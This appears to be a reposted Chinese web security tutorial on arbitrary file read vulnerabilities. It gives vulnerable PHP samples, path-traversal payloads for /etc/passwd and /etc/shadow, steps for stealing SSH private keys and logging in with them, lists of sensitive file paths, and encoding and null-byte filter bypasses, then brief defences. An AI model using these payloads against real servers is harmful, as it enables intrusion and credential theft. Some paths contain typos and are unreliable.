任意文件讀取漏洞
原理
任意文件讀取是屬于文件操作漏洞的一種,通過提交專門設(shè)計(jì)的輸入,攻擊者就可以在被訪問的文件系統(tǒng)中讀取或?qū)懭肴我鈨?nèi)容,往往能夠使攻擊者從服務(wù)器上獲取敏感文件,正常讀取的文件沒有經(jīng)過校驗(yàn)或者校驗(yàn)不嚴(yán)格,用戶可以控制這個(gè)變量或者變量讀取任意文件。 一般任意文件讀取漏洞可以讀取配置信息甚至系統(tǒng)重要文件。
危害
任意文件讀取的危害往往大于目錄遍歷漏洞,任意文件讀取不僅會(huì)泄露網(wǎng)站的結(jié)構(gòu)目錄,一些敏感文件還會(huì)被通過構(gòu)造特殊的字符結(jié)構(gòu)下載下來,比如說../或者~/導(dǎo)致服務(wù)器的重要文件信息泄露,比如說../etc/passwd,../etc/shodan,~/bash_history等文件,或者下載腳本配置文件,網(wǎng)站文件進(jìn)一步審計(jì),得到危害更大的漏洞進(jìn)一步利用
漏洞產(chǎn)生的原因
存在讀取文件的函數(shù)
讀取文件的路徑用戶可控,且未校驗(yàn)或校驗(yàn)不嚴(yán)
輸出了文件內(nèi)容
任意文件讀取
<?php $filename=”test.txt”; readfile($filename); ?>
<?php $filename=”test.txt”; echo file_get_contents($filename); ?>
文件讀取函數(shù)
readfile()、file_get_contents()、fopen()中,$filename沒有經(jīng)過校驗(yàn)或者校驗(yàn)不合格,用戶可控制變量讀取任意文件,如/etc/passwd、./index.php、/config.ini。
如何發(fā)現(xiàn)?
一般文件讀取或者文件下載都會(huì)跟一個(gè)參數(shù)名在后面,比如說
http://127.0.0.1/file.php?filename=xxx.txt
上面的txt就會(huì)被下載下來,但是如果即將xxx.txt換成其他的參數(shù)呢?比如說../etc/passwd
http://127.0.0.1/file.php?filename=../../../../etc/passwd
如果存在回顯,則代表該網(wǎng)站存在任意文件讀取漏洞
代碼示例:
以下代碼均存在文件讀取的危險(xiǎn)
<?php
$file = $_GET['filename'];
readfile($file);
?>
<?php
$file = '1.txt';
print(file_get_contents($file));
?>
<?php
$file = '1.txt';
include $file;
?>
<?php
$file = '1.txt';
require $file;
?>
利用思路
1、一般拿到一個(gè)任意文件讀取得先判斷權(quán)限大不大,如果權(quán)限夠大的話可以直接先把/etc/sadow讀下來,權(quán)限不夠就讀/etc/passwd,先把用戶確定下來,方便后續(xù)操作
2、讀取各個(gè)用戶的.bash_history能翻有用的信息,如編輯一些敏感文件
3、讀取程序配置文件(如數(shù)據(jù)庫連接文件,可以利用數(shù)據(jù)庫寫shell)
4、讀取中間件配置文件(weblogic/tomcat/apache的密碼文件、配置文件,確定絕對(duì)路徑,方便后面讀源碼)
5、讀取一些軟件的運(yùn)維配置文件(redis/rsync/ftp/ssh等等程序的數(shù)據(jù)、配置、文檔記錄)
6、讀取程序源代碼,方便后面做代碼審計(jì),找突破口
7、讀取web應(yīng)用日志文件,中間件的日志文件,其他程序的日志,系統(tǒng)日志等(可以網(wǎng)站后臺(tái)地址、api接口、備份、等等敏感信息)
8、還有就是可以用字典先跑一波(字典之前有分享過),信息收集還是要全面點(diǎn)。
敏感信息
windows
C:\boot.ini //查看系統(tǒng)版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存儲(chǔ)系統(tǒng)初次安裝的密碼
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
Linux
/root/.ssh/authorized_keys //如需登錄到遠(yuǎn)程主機(jī),需要到.ssh目錄下,新建authorized_keys文件,并將id_rsa.pub內(nèi)容復(fù)制進(jìn)去
/root/.ssh/id_rsa //ssh私鑰,ssh公鑰是id_rsa.pub
/root/.ssh/id_ras.keystore //記錄每個(gè)訪問計(jì)算機(jī)用戶的公鑰
/root/.ssh/known_hosts
//ssh會(huì)把每個(gè)訪問過計(jì)算機(jī)的公鑰(public key)都記錄在~/.ssh/known_hosts。當(dāng)下次訪問相同計(jì)算機(jī)時(shí),OpenSSH會(huì)核對(duì)公鑰。如果公鑰不同,OpenSSH會(huì)發(fā)出警告, 避免你受到DNS Hijack之類的攻擊。
/etc/passwd // 賬戶信息
/etc/shadow // 賬戶密碼文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/root/.bash_history //用戶歷史命令記錄文件
/root/.mysql_history //mysql歷史命令記錄文件
/proc/self/fd/fd[0-9]*(文件標(biāo)識(shí)符)
/proc/mounts //記錄系統(tǒng)掛載設(shè)備
/porc/config.gz //內(nèi)核配置文件
/var/lib/mlocate/mlocate.db //全文件路徑
/porc/self/cmdline //當(dāng)前進(jìn)程的cmdline參數(shù)
中間件
/usr/local/apache/conf/httpd.conf
/var/www/html/apache/conf/httpd.conf
/home/httpd/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/etc/apache/httpd.conf
/usr/local/lib/php.ini
/etc/httpd/conf/httpd.conf
/usr/local/app/apache2/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
/usr/local/app/php5/lib/php.ini
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/lighttpd/lighttpd.conf
/var/log/www/error.log
/usr/local/lighttpd-1.4.35/lighttpd.conf
/usr/local/services/apache-tomcat-8.0.23/logs/catalina.out
/usr/local/services/jetty-8.1.16/logs/stderrout.log
/usr/local/services/jetty-8.1.16/etc/jetty.xml
/etc/nginx/nginx.conf
/var/www/html
/usr/local/services/nginx-1.6.2/logs/access.log
/usr/local/services/nginx-1.6.2/logs/error.log
/usr/local/services/nginx-1.6.2/nginx.conf
/usr/local/services/nginx-1.6.2/conf/nginx.conf
/usr/local/services/nginx-1.6.2/conf/proxy.conf
/usr/local/services/nginx-1.6.2/conf/extra/haolaiyao.conf
注意
任意文件讀取/etc/passwd
提取passwd第一列,即root等一系列用戶名
讀history:../../root/.bash_history
暴破所有用戶的.bash_history:../../../home/§root§/.bash_history
歷史命令重點(diǎn)關(guān)注出現(xiàn)的密碼、路徑、配置文件路徑、其他關(guān)聯(lián)IP、日志文件、war包、備份文件路徑等等,可進(jìn)一步讀取或利用。
/root/.ssh/id_rsa 私鑰
/root/.ssh/authorized_keys 公鑰存儲(chǔ)文件
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts //記錄每個(gè)訪問計(jì)算機(jī)用戶的公鑰
私鑰文件如果沒有設(shè)定密碼保護(hù),便可直接獲取到進(jìn)行登錄到服務(wù)器,或使用xshell等軟件選擇證書登錄。
ssh -i id_rsa root@IP地址
/etc/passwd
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin ......
用戶名:口令:用戶標(biāo)識(shí)號(hào):組標(biāo)識(shí)號(hào):注釋性描述:主目錄:登錄Shell
/etc/shadow
root:$1$v2wT9rQF$XSpGgoB93STC4EFSlgpjg1:14181:0:99999:7:::
$id$salt$密文
id代表的是使用不同的加密算法,不同的系統(tǒng)使用的算法也不盡相同。salt是加密的時(shí)候需要用到鹽。最后就是密文。
注意:如果密碼字符串為*,表示系統(tǒng)用戶不能被登入,為!表示用戶名被禁用,如果密碼字符串為空,表示沒有密碼。
$1 |
md5 |
$2a |
blowfish |
$2y |
blowfish |
$5 |
sha-256 |
$6 |
sha-512 |
繞過思路
1.編碼繞過,有些網(wǎng)站也是會(huì)將文件名轉(zhuǎn)成 base64或者其他編碼格式再去讀取,比如:
http://127.0.0.1/file.php?filename=aW5kZXgucGhw
// 對(duì)應(yīng)index.php
通過編碼后進(jìn)行讀取文件,如果要讀取其他文件,同理,先編碼,后傳入
2.使用url編碼代替.或者/
http://127.0.0.1/file.php?filename=.%2F.%2F.%2F.%2Fetc%2Fpasswd
使用%2F代替/
或者二次編碼(%25)
http://127.0.0.1/file.php?filename=.%252F.%252F.%252F.%252Fetc%2Fpasswd
%25是%
%2F是/
%252F會(huì)先解開%25,解開后是%,然后在拼接2F就會(huì)變成%2F=/
3.如果對(duì)文件名有限制,可以試著用 %00截?cái)?/span>
http://127.0.0.1/file.php?filename=../../../1.php%00.jpg
%00截?cái)鄬?duì)PHP的版本有要求:PHP<5.3.4
4.加入+
?filename=.+./.+./bin/redacted.dll
5.\
?filename=..%5c..%5c/windows/win.ini
6.Java %c0%ae 安全模式繞過
?filename=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
防御
對(duì)傳入的文件名進(jìn)行判斷限制過濾
合理控制目錄讀取的權(quán)限
采用白名單讀取文件
打開php.ini文件找到open_basedir,然后去掉前面的分號(hào)(;),在等于號(hào)(open_basedir=)后面寫入限制讀取的范圍文章來源:http://www.zghlxwxcb.cn/news/detail-648839.html
過濾./ ~/等字符文章來源地址http://www.zghlxwxcb.cn/news/detail-648839.html
常見的URL格式和參數(shù)
download.php?file=
download.php?filename=
file.php?file=
filename.php?name=
readfile.php?filename=
file.php?url=
file.php?dirname=
file.php?f=
...
value:
&dir=
&name=
&dir_name=
&filename=
&path=
&filepath=
...
到了這里,關(guān)于Web漏洞-任意文件讀取漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!